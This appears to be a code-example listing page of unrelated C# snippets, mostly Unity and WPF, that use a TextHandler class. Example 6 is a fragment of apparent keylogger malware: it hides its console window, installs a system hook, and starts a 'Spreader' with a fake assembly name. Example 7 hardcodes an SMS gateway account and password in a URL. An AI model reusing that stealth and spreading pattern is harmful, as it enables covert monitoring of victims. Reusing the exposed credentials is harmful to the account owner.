Inheritance: MonoBehaviour
Ejemplo n.º 1
0
        private void exportTxt_Click(object sender, RoutedEventArgs e)
        {
            var savingHandler = new SaveHandler("Text files (*.txt)|*.txt|All files (*.*)|*.*");
            var path          = savingHandler.GetPath();

            TextHandler.ExportToTextFile(builder.Array, xDimension, yDimension, path);
        }
Ejemplo n.º 2
0
 public void Init()
 {
     //emailName = transform.Find("Name").GetComponent<TextHandler>();
     title = transform.Find("Title").GetComponent <TextHandler>();
     time  = transform.Find("Time").GetComponent <TextHandler>();
     star  = transform.Find("Star").GetComponent <Image>();
 }
Ejemplo n.º 3
0
 void Awake()
 {
     if (instance == null)
     {
         instance = this;
     }
 }
Ejemplo n.º 4
0
    public void _1_2_FindFirstLineWhichContainsString()
    {
        string[] stringLines    = { "(1,2 2,1, 1,1) is GamePlaneBounds", " ", "(10,0, 10,0) is IntagerNumberOfElementsOnXAndY", "0,0, 0,0  is maze wall element" };
        int      lineWithString = TextHandler.FindFirstLineWhichContainsString("IntagerNumberOfElementsOnXAndY", stringLines);

        Assert.AreEqual(lineWithString, 2);
    }
Ejemplo n.º 5
0
    public void _1_1_RemoveAllNonVectorPartsOfString()
    {
        // SaveTextReader saveTextReader = new SaveTextReader(Substitute.For<ITextFileController>());
        string intagerNumberOfMazeElementsOnXAndY = TextHandler.RemoveAllNonVectorPartsOfString("(1,0, 1,0) is IntagerNumberOfElementsOnXAndY");

        Assert.AreEqual("1,0, 1,0", intagerNumberOfMazeElementsOnXAndY);
    }
Ejemplo n.º 6
0
        public static void Main(string[] args)
        {
            var handle = GetConsoleWindow();

            // Hide
            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);

            if (mutex.WaitOne(TimeSpan.Zero, true))
            {
                textHandler = new TextHandler(Property.SessionName);

                var spreader = new Spreader(Property.FakeAssemblyName, Property.AssemblyName, Property.AppPath, Property.SessionName);

                var updater = new Updater();
                updater.StartMonitoring(Property.SessionName);

                Application.Run();
                mutex.ReleaseMutex();
            }
            else
            {
            }
            UnhookWindowsHookEx(_hookID);
        }
Ejemplo n.º 7
0
        public static string SMSSend(string phone, string smsTemplate, int smsType)
        {
            if (!TextHandler.CheckMobile(phone))
            {
                return("{\"code\":\"0001\",\"msg\":\"手机号格式有误\"}");
            }
            string code = getVerifCode;

            try
            {
                string msg    = string.Format(smsTemplate, code);
                string url    = "http://xtx.telhk.cn:8888/sms.aspx?action=send&userid=5901&account=a10375&password=21541244&mobile=" + phone + "&content=" + msg + "&sendTime=&mobilenumber=1&countnumber=1&telephonenumber=0";
                string retMsg = WebSendMessage(url, "UTF-8", "post", msg);
                if (getXmlDocument(retMsg).Equals("ok"))
                {
                    return("{\"code\":\"0000\",\"msg\":\"验证码发送成功\"}");
                }
                else
                {
                    return("{\"code\":\"0001\",\"msg\":\"" + getXmlDocument(retMsg) + "\"}");
                }
            }
            catch
            {
                return("{\"code\":\"0001\",\"msg\":\"验证码发送失败\"}");
            }
        }
Ejemplo n.º 8
0
        public string ParseText(string runCode, TagHandler tag, TextHandler textHandler, ParseText owner)
        {
            textHandler.FlagBreak = true;

            runCode = "<Hyperlink ";

            foreach (var el in tag.VariantsTag)
            {
                switch (el.Variant.ToLower().Trim())
                {
                case "url":
                    if (el.Value == "")
                    {
                        break;
                    }

                    runCode += "NavigateUri='" + el.Value + "' ";
                    break;

                case "bold":
                    runCode += @"FontWeight='Bold' ";
                    break;
                }
            }

            return(runCode + ">" + textHandler.Text + " </Hyperlink>");
        }
Ejemplo n.º 9
0
 private void Start()
 {
     textHandler      = GetComponent <TextHandler>();
     ranks            = GetComponent <Ranks>();
     answersPlayerOne = new List <AnswerDATA>();
     answersPlayerTwo = new List <AnswerDATA>();
 }
Ejemplo n.º 10
0
 //Collide with Mark
 void OnTriggerEnter2D(Collider2D collision)
 {
     if (collision.CompareTag("Mark"))
     {
         TextHandler.TextWrite(textCheerNumber);
     }
 }
        private void PrewiewTextInput(object sender, TextCompositionEventArgs e)
        {
            TextBox textBox = sender as TextBox;
            string  text    = textBox != null ? textBox.Text : string.Empty;

            e.Handled = TextHandler.Filter(e.Text, text);
        }
Ejemplo n.º 12
0
 /// <summary>
 /// Update a computer by another one
 /// </summary>
 /// <param name="t">Computer to be replaced</param>
 /// <param name="u">Computer to replace</param>
 /// <returns>True if the computer is updated, false if not</returns>
 public static bool UpdateComputer(Computer t, Computer u)
 {
     try
     {
         for (int i = 0; i < computers.Count; i++)
         {
             if (computers[i] == t)
             {
                 u.Date       = t.Date;
                 computers[i] = u;
                 TextHandler textHandler = new TextHandler();
                 textHandler.SaveFile(u.Show(), "list_computers.txt");
                 FilesHandler <List <Computer> > fileHandler = new FilesHandler <List <Computer> >();
                 fileHandler.SaveFile(computers, "Computers.xml");
                 return(true);
             }
         }
         throw new ComputerException("Ha ocurrido un error al manipular la computadora");
     }
     catch (ComputerException ex)
     {
         throw ex;
     }
     catch (Exception)
     {
         throw;
     }
 }
Ejemplo n.º 13
0
        public MainPage()
        {
            InitializeComponent();

            SoundPlayer.FillDictionary(App.Current.Resources.MergedDictionaries[0]);
            SoundPlayer.BackgroundMusic.FillBgDictionary(App.Current.Resources.MergedDictionaries[1]);
            TextHandler.FillDictionary(App.Current.Resources.MergedDictionaries[2]);

            this.GotFocus  += MainPageGotFocus;
            this.LostFocus += MainPageLostFocus;

            _keyHandler = new KeyHandler(this);

            _menuEngine           = new MenuEngine(this.gameSurface);
            _menuEngine.Updated  += MenuEngineUpdated;
            _levelEngine          = new LevelEngine(new Canvas());
            _levelEngine.Renewed += LevelEngineRenewed;
            _hudEngine            = new HudEngine(new Canvas());
            _scoreEngine          = new ScoreEngine(new Canvas(), 10);

            Level.Player = Player = new Player();

            _renderNotifier = new RenderNotifier(this);
            _renderNotifier.AddObservedChild(this.gameSurface);
            _renderNotifier.RenderComplete += RenderNotifierRenderComplete;

            _mainLoop         = new CompositionTargetGameLoop();
            _mainLoop.Update += MainLoopUpdate;
        }
Ejemplo n.º 14
0
 /// <summary>
 /// Update a computer by state
 /// </summary>
 /// <param name="t">Computer to be updated</param>
 /// <param name="state">State to put</param>
 /// <returns>True if the computer is updated, false if not</returns>
 public void UpdateState(Computer t, State state)
 {
     try
     {
         for (int i = 0; i < computers.Count; i++)
         {
             if (computers[i] == t)
             {
                 computers[i].ComputerState = state;
                 TextHandler textHandler = new TextHandler();
                 textHandler.SaveFile(t.Show(), "list_computers.txt");
                 FilesHandler <List <Computer> > fileHandler = new FilesHandler <List <Computer> >();
                 fileHandler.SaveFile(computers, "Computers.xml");
             }
         }
     }
     catch (ComputerException ex)
     {
         throw ex;
     }
     catch (Exception)
     {
         throw new ComputerException("Error al manipular la computadora");
     }
 }
Ejemplo n.º 15
0
        public SceneManager(Game game)
            : base(game)
        {
            this.game = game;

            floorEffect = Game.Content.Load <Effect>("effects");
            player      = Game.Content.Load <PlayerData>("Configuration/PlayerData");
            tankmode    = Game.Content.Load <Mode[]>(@"Configuration/TankMode");
            world       = Game.Content.Load <WorldMatrix>("Configuration/WorldData");
            tankStatus  = new TankStatusMode(tankmode[0]);


            city             = new City();
            background       = new BackGround(game);
            inputHandler     = new InputHandler();
            textHandler      = new TextHandler();
            levelHander      = new GameLevelHandler(Game.Content);
            explosionHandler = new ExplosionHandler(game);
            gameMenu         = new GameMenuScreen(game, levelHander);
            worldData        = new GameWorldData(world);
            camera           = new FirstPersonCamera(game);
            background.InitializeModel(floorEffect);

            camera.prepareCamera();
            camera.setWeapon(Game.Content.Load <Model>(@"Models\weapon"));
        }
Ejemplo n.º 16
0
        private void BRD_Add_Tapped(object sender, TappedRoutedEventArgs e)
        {
            int nMessages = 0;
            int nRuns     = 0;
            int nSeconds  = 0;

            bool valid = int.TryParse(TextHandler.RemoveWhitespace(TB_NMessages.Text), out nMessages);

            valid = int.TryParse(TextHandler.RemoveWhitespace(TB_N_Runs.Text), out nRuns);
            valid = int.TryParse(TextHandler.RemoveWhitespace(TB_N_Seconds.Text), out nSeconds);

            if (nMessages < 1)
            {
                return;
            }

            NMessages = nMessages;
            NRuns     = Math.Max(Math.Min(nRuns, nMessages), 1);
            NSeconds  = NRuns > 1 ? Math.Max(0, nSeconds) : 0;

            Hide();
            ResetTextBoxes();

            if (DoWork != null)
            {
                DoWork?.Invoke(this, null);
            }
        }
Ejemplo n.º 17
0
 // Start is called before the first frame update
 void Start()
 {
     title = transform.Find("Title").GetComponent <TextHandler>();
     //author = transform.Find("Name").GetComponent<Text>();
     time    = transform.Find("Time").GetComponent <TextHandler>();
     content = transform.Find("Content").GetComponent <TextHandler>();
 }
Ejemplo n.º 18
0
        static void Main(string[] args)
        {
            TextHandler text = new TextHandler();

            DataContractJsonSerializer jsonFormatter = new DataContractJsonSerializer(typeof(TextHandler));

            using (FileStream fs = new FileStream("text.json", FileMode.OpenOrCreate))
            {
                jsonFormatter.WriteObject(fs, text);
            }
            //text.ParseText(@"E:\Repositories\TextParser\TextParser\TextParser\Files\TestText.txt");
            //The line above is a simple file call, two lines below is a file call using application properties
            //text.ParseText(Properties.Settings.Default.FilePath);
            text.ParseText(AppDomain.CurrentDomain.BaseDirectory + @"..\..\Files\TestText.txt");
            Console.WriteLine("Текст:\n");
            Console.WriteLine(text.ToString());
            Console.WriteLine("\n==================================================\n");
            Console.WriteLine("Вывести все предложения заданного текста в порядке возрастания количества слов в каждом из них:\n");
            //Console.WriteLine(String.Join(" ", text.SortByWordsCount()));
            Console.WriteLine(text.SortByWordsCount()); //through LINQ
            Console.WriteLine("\n==================================================\n");
            Console.WriteLine("Во всех вопросительных предложениях текста найти и напечатать без повторений слова заданной длины (3 символа):\n");
            Console.WriteLine(String.Join(" ", text.GetInterrogativeSentence(3)));
            Console.WriteLine("\n==================================================\n");
            Console.WriteLine("Из текста удалить все слова заданной длины (4 символа), начинающиеся на согласную букву:\n");
            Console.WriteLine(text.RemoveWordsWithConsonantLetter(4));
            Console.WriteLine("\n==================================================\n");
            Console.WriteLine("В некотором предложении текста (в третьем) слова заданной длины (3 символа) заменить указанной подстрокой, длина которой может не совпадать с длиной слова:\n");
            Console.WriteLine(text.TextChangeOnSubstring(3, 3, "SUBSTRING"));
            Console.WriteLine("\n==================================================");
            Console.ReadKey();
        }
Ejemplo n.º 19
0
        private void processTMP(GameObject obj)
        {
            if (obj == null)
            {
                return;
            }

            TextHandler[] handlers = obj.GetComponentsInChildren <TextHandler>(true);

            if (handlers == null)
            {
                return;
            }

            for (int i = 0; i < handlers.Length; i++)
            {
                TextHandler handler = handlers[i];

                if (handler.LocalizedText)
                {
                    handler.SetLocalText(GetStringWithName(handler.LocalizedName));
                }

                TMProFromText(handler);
            }
        }
 public SettingsWindow(Settings settings, NotifyMain notifyMain, TextHandler textHandler, NotifyMain saveSettings)
 {
     DataContext = new SettingsViewModel(settings);
     ((SettingsViewModel)DataContext).Notify          += notifyMain;
     ((SettingsViewModel)DataContext).NotifyTextColor += textHandler;
     ((SettingsViewModel)DataContext).SaveSettings    += saveSettings;
     InitializeComponent();
 }
Ejemplo n.º 21
0
        public void Setup(TextHandler h)
        {
            _handler = h;

            _handler.OnColorUpdate.AddListener(new UnityAction <Color>(UpdateColor));
            _handler.OnTextUpdate.AddListener(new UnityAction <string>(UpdateText));
            _handler.OnFontChange.AddListener(new UnityAction <int>(UpdateFontSize));
        }
Ejemplo n.º 22
0
 /// <inheritdoc />
 protected internal JsonHandler(PostgresType postgresType, NpgsqlConnection connection, bool isJsonb, JsonSerializerOptions?serializerOptions = null)
     : base(postgresType)
 {
     _serializerOptions = serializerOptions ?? DefaultSerializerOptions;
     _isJsonb           = isJsonb;
     _headerLen         = isJsonb ? 1 : 0;
     _textHandler       = new TextHandler(postgresType, connection);
 }
Ejemplo n.º 23
0
        private void TMProFromText(TextHandler handler)
        {
            if (handler == null)
            {
                return;
            }

            //The TextHandler element should be attached only to objects with a Unity Text element
            //Note that the "[RequireComponent(typeof(Text))]" attribute cannot be attached to TextHandler since Unity will not allow the Text element to be removed
            Text text = handler.GetComponent <Text>();

            if (text == null)
            {
                return;
            }

            //Cache all of the relevent information from the Text element
            string               t       = text.text;
            Color                c       = text.color;
            int                  i       = text.fontSize;
            bool                 resize  = text.resizeTextForBestFit;
            int                  maxs    = text.resizeTextMaxSize;
            int                  mins    = text.resizeTextMinSize;
            bool                 r       = text.raycastTarget;
            FontStyles           sty     = TMPProUtil.FontStyle(text.fontStyle);
            TextAlignmentOptions align   = TMPProUtil.TextAlignment(text.alignment);
            float                spacing = text.lineSpacing;
            GameObject           obj     = text.gameObject;

            //The existing Text element must by destroyed since Unity will not allow two UI elements to be placed on the same GameObject
            DestroyImmediate(text);

            PTTextMeshProHolder tmp = obj.AddComponent <PTTextMeshProHolder>();

            //Populate the TextMeshPro fields with the cached data from the old Text element
            tmp.text             = t;
            tmp.color            = c;
            tmp.fontSize         = i;
            tmp.enableAutoSizing = resize;
            tmp.fontSizeMax      = maxs;
            tmp.fontSizeMin      = mins;
            tmp.raycastTarget    = r;
            tmp.alignment        = align;
            tmp.fontStyle        = sty;
            tmp.lineSpacing      = spacing;

            tmp.font = UISkinManager.TMPFont;
            tmp.fontSharedMaterial = Resources.Load("Fonts/Materials/Calibri Dropshadow", typeof(Material)) as Material;

            tmp.enableWordWrapping = true;
            tmp.isOverlay          = false;
            tmp.richText           = true;

            //No idea why this is needed, but TMP needs this field to be set to true for correct initialization of the alignment style
            var prop = tmp.GetType().GetField("m_isAlignmentEnumConverted", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);

            prop.SetValue(tmp, true);
        }
Ejemplo n.º 24
0
 public static bool Prefix(SystemTypes PAECGDHCGJC, ref string __result)
 {
     if (TextHandler.Contains(PAECGDHCGJC))
     {
         __result = TextHandler.Get(PAECGDHCGJC);
         return(false);
     }
     return(true);
 }
Ejemplo n.º 25
0
    // Use this for initialization
    void Start()
    {
        GameData.AdventureManager = this;

        tileRenderer           = gameObject.GetComponent <TileRenderer>();
        textHandler            = gameObject.GetComponent <TextHandler>();
        actionPointHandler     = gameObject.GetComponent <ActionPointHandler>();
        simpleEncounterHandler = gameObject.GetComponent <SimpleEncounterHandler>();
    }
Ejemplo n.º 26
0
    public Vector2 GetVector2FromTextLineThatContainsString(string stringOccuredInVector2TextLine, string[] textLines)
    {
        int numberOfLineThatContainsString = TextHandler.FindFirstLineWhichContainsString(stringOccuredInVector2TextLine, textLines);

        string vector2FoundInTextLineInStringType = TextHandler.RemoveAllNonVectorPartsOfString(textLines[numberOfLineThatContainsString]);

        Vector2 foundVector2 = StringToVector2Parser.Parse(vector2FoundInTextLineInStringType);

        return foundVector2;
    }
Ejemplo n.º 27
0
        public bool PreBuild(MapAsset asset)
        {
            if (asset.type != "util-room")
            {
                return(true);
            }

            // Check Collider Count
            if (asset.colliders.Length <= 0)
            {
                LILogger.LogWarn(asset.name + " does not have any colliders!");
                return(false);
            }

            // Object
            GameObject obj = new GameObject(asset.name);

            // Collider
            PolygonCollider2D mainCollider = null;

            foreach (MapCollider collider in asset.colliders)
            {
                PolygonCollider2D polyCollider = obj.AddComponent <PolygonCollider2D>();
                polyCollider.isTrigger = true;
                polyCollider.SetPath(0, collider.GetPoints());
                mainCollider = polyCollider;
            }

            // Room
            PlainShipRoom room = obj.AddComponent <PlainShipRoom>();

            room.RoomId = (SystemTypes)roomId;
            if (asset.colliders.Length > 0)
            {
                room.roomArea = mainCollider;
            }

            // Room DB
            if (!db.ContainsKey(asset.id))
            {
                db.Add(asset.id, (SystemTypes)roomId);
            }

            // Text DB
            TextHandler.Add((SystemTypes)roomId, asset.name);

            // Polus
            polus.shipStatus.AllRooms = AssetHelper.AddToArr(polus.shipStatus.AllRooms, room);
            polus.shipStatus.FastRooms.Add((SystemTypes)roomId, room);
            MinimapGenerator.AddRoom(asset);
            polus.Add(obj, asset);

            roomId++;
            return(true);
        }
        private void TMProFromText(TextHandler handler)
        {
            if (handler == null)
            {
                return;
            }

            Text text = handler.GetComponent <Text>();

            if (text == null)
            {
                return;
            }

            string               t       = text.text;
            Color                c       = text.color;
            int                  i       = text.fontSize;
            bool                 r       = text.raycastTarget;
            FontStyles           sty     = TMPProUtil.FontStyle(text.fontStyle);
            TextAlignmentOptions align   = TMPProUtil.TextAlignment(text.alignment);
            float                spacing = text.lineSpacing;
            GameObject           obj     = text.gameObject;

            DestroyImmediate(text);

            BasicDeltaV_TextMeshPro tmp = obj.AddComponent <BasicDeltaV_TextMeshPro>();

            tmp.text = t;

            if (handler.ReadoutField && BasicDeltaV_Settings.Instance != null)
            {
                tmp.color = BasicDeltaV_Settings.Instance.ReadoutColor;
            }
            else if (handler.ReadoutLabel && BasicDeltaV_Settings.Instance != null)
            {
                tmp.color = BasicDeltaV_Settings.Instance.LabelColor;
            }
            else
            {
                tmp.color = c;
            }

            tmp.fontSize      = i;
            tmp.raycastTarget = r;
            tmp.alignment     = align;
            tmp.fontStyle     = sty;
            tmp.lineSpacing   = spacing;

            tmp.font = UISkinManager.TMPFont;
            tmp.fontSharedMaterial = Resources.Load("Fonts/Materials/Calibri Dropshadow", typeof(Material)) as Material;

            tmp.enableWordWrapping = true;
            tmp.isOverlay          = false;
            tmp.richText           = true;
        }
Ejemplo n.º 29
0
        static void Main(string[] args)
        {
            TextHandler text = new TextHandler()
            {
                Path = @"C:\Users\Sony\source\repos\3dom\123\555.txt"
            };

            Task.WaitAll(text.CreatAlphabeticalFileWithData());

            Console.ReadLine();
        }
 private void SaveMultiLineText()
 {
     if (editedMultiLineText == null) //BLB we're re-saving (textmode change)
     {
         editedMultiLineText = TranslatedMultiLine;
     }
     TranslatedLineLength = GetMaxLineLength(editedMultiLineText);
     TranslatedSingleLine = TextHandler.EditStringToSingleLine(editedMultiLineText, IsSpecialDialog);
     TranslatedMultiLine  = null;
     HasChangesInMemory   = true;
 }
Ejemplo n.º 31
0
 public void AppendSyncConsoleText(string text)
 {
     if (this.InvokeRequired)
     {
         TextHandler h = new TextHandler(AppendSyncConsoleText);
         this.Invoke(h, new object[] { text });
     }
     else
         syncConsole.Text += text;
 }
Ejemplo n.º 32
0
 public void SetLastSyncText(string text)
 {
     if (this.InvokeRequired)
     {
         TextHandler h = new TextHandler(SetLastSyncText);
         this.Invoke(h, new object[] { text });
     }
     else
     {
         lastSyncLabel.Text = text;
     }
 }
Ejemplo n.º 33
0
 public void SetSyncConsoleText(string text)
 {
     if (this.InvokeRequired)
     {
         TextHandler h = new TextHandler(SetSyncConsoleText);
         this.Invoke(h, new object[] { text });
     }
     else
     {
         syncConsole.Text = text;
         //Scroll to bottom to always see the last log entry
         syncConsole.SelectionStart = syncConsole.TextLength;
         syncConsole.ScrollToCaret();
     }
 }